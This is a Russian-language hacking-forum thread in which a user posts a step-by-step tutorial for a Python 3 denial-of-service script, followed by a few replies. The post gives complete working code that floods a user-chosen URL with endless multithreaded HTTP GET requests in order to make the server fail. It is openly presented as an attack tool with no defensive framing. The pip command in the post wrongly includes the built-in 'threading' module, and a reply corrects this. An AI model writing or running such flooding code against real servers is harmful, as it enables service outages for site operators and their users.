• XSS.stack #1 – первый литературный журнал от юзеров форума

Пишем свой DOS скрипт на Python3

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
Всем привет!
Сегодня я вам покажу, как вы можете написать свой скрипт для DOS атак. Напоминаю, ddos - много атакующих и одна цель. dos - один атакующий и одна цель. То есть цель этой статьи - написание скрипта для отсылки большого количества пакетов на удаленную машину с целью довести её до отказа.

Отказ произойдет на том моменте, когда пакетов будет слишком много и компьютер не будет успевать обрабатывать их и отсылать ответ.

Давайте сначала установим зависимости для нашего Python3. Их всего 3: colorama, requests, threading.
Команда, которой вы можете это всё установить под Linux:
Bash:
sudo apt update && sudo apt install python3-pip && pip3 install colorama && pip3 install threading && pip3 install requests

Объясню для чего нужна каждая зависимость.
colorama - библиотека, которая упростит работу с цветами в консоли. Можете обойтись без неё, использую спец. символы консоли, как в .sh скриптах, либо всё сделать одного цвета.
requests - библиотека, которая позволит отправлять post/get запросы на удаленный сервер.
threading - библиотека, которая обеспечит многопоточность программы. Многопоточность увеличит скорость.

Приступим к написанию.

Сначала импортируем наши библиотеки, которые мы установили несколько минут назад.
Python:
import colorama
import threading
import requests

Дальше напишем функцию, которая будет отправлять запросы и контролировать состояние цели:

Python:
def dos(target):
    while True:
        try:
            res = requests.get(target)
            print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE)
        except requests.exceptions.ConnectionError:
            print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!")
В этой функции мы входим в бесконечный цикл (кстати он нам не страшен, так как у нас много потоков и это всё работает постоянно.), так как завершать работу программы
мы будем сочетанием клавиш ctrl+c. Так же вы можете модифицировать функцию, например как только сервер начал не отвечать прекратить работу. Ну это дело вкуса. Всё в ваших руках.

Дальше приступим к главному коду.

Python:
threads = 20

url = input("URL: ")

try:
    threads = int(input("Threads: "))
except ValueError:
    exit("Threads count is incorrect!")

if threads == 0:
    exit("Threads count is incorrect!")

if not url.__contains__("http"):
    exit("URL doesnt contains http or https!")

if not url.__contains__("."):
    exit("Invalid domain")

for i in range(0, threads):
    thr = threading.Thread(target=dos, args=(url,))
    thr.start()
    print(str(i + 1) + " thread started!")

Теперь объясняю. Создаем переменную threads, в которой мы будем хранить количество потоков. Я по умолчанию на 20 поставил. (Это не очень много, чисто поставил для примера). Дальше объявили переменную url, в которую мы запишем домен цели.
Далее мы запрашиваем у пользователя количество потоков, которое он хотел бы использовать. Заметьте мы это делаем в блоке try, если это делать без него, то может выдать исключение, если при преобразовании строки в int попадётся текст.
Дальше мы так же проверяем количество потоков, если их 0, то программа не будет работать. (Ни один поток не запущен - не работает)
Мы проверяем точно ли это ссылка при помощи двух проверок:
  1. Проверка на содержание http/https
  2. Проверка на содержание точки. Если есть точка, то скорее всего после точки идет что-то еще. (Пример: "https://google.com")
Дальше мы создаем в цикле потоки и запускаем их. Ну и так же информируем пользователя о запуске потока под номером i.
Вот собственно и всё.

Python:
import colorama
import threading
import requests


def dos(target):
    while True:
        try:
            res = requests.get(target)
            print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE)
        except requests.exceptions.ConnectionError:
            print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!")


threads = 20

url = input("URL: ")

try:
    threads = int(input("Threads: "))
except ValueError:
    exit("Threads count is incorrect!")

if threads == 0:
    exit("Threads count is incorrect!")

if not url.__contains__("http"):
    exit("URL doesnt contains http or https!")

if not url.__contains__("."):
    exit("Invalid domain")

for i in range(0, threads):
    thr = threading.Thread(target=dos, args=(url,))
    thr.start()
    print(str(i + 1) + " thread started!")

Автор @Pazsh
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Много задосил уже? ))

Да это копипаста с кодбая же...
Автора тут нету)
 
Bash:
root@pc:/home/user# pip3 install colorama && pip3 install threading && pip3 install requests

Requirement already satisfied: colorama in /usr/lib/python3/dist-packages (0.3.7)

ERROR: Could not find a version that satisfies the requirement threading (from versions: none)

ERROR: No matching distribution found for threading

root@pc:/home/user# pip3 search threading
Как исправить данную проблему? Pip3 не ищет нужные модули, в репозиториях их просто нет.
Пип версии 19.3.1, python версии 3.7
 
Как исправить данную проблему? Pip3 не ищет нужные модули, в репозиториях их просто нет.
Пип версии 19.3.1, python версии 3.7
Не пытайся устанавливать threading, это стандартная либа, просто автор тупой)
pip3 install colorama requests
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх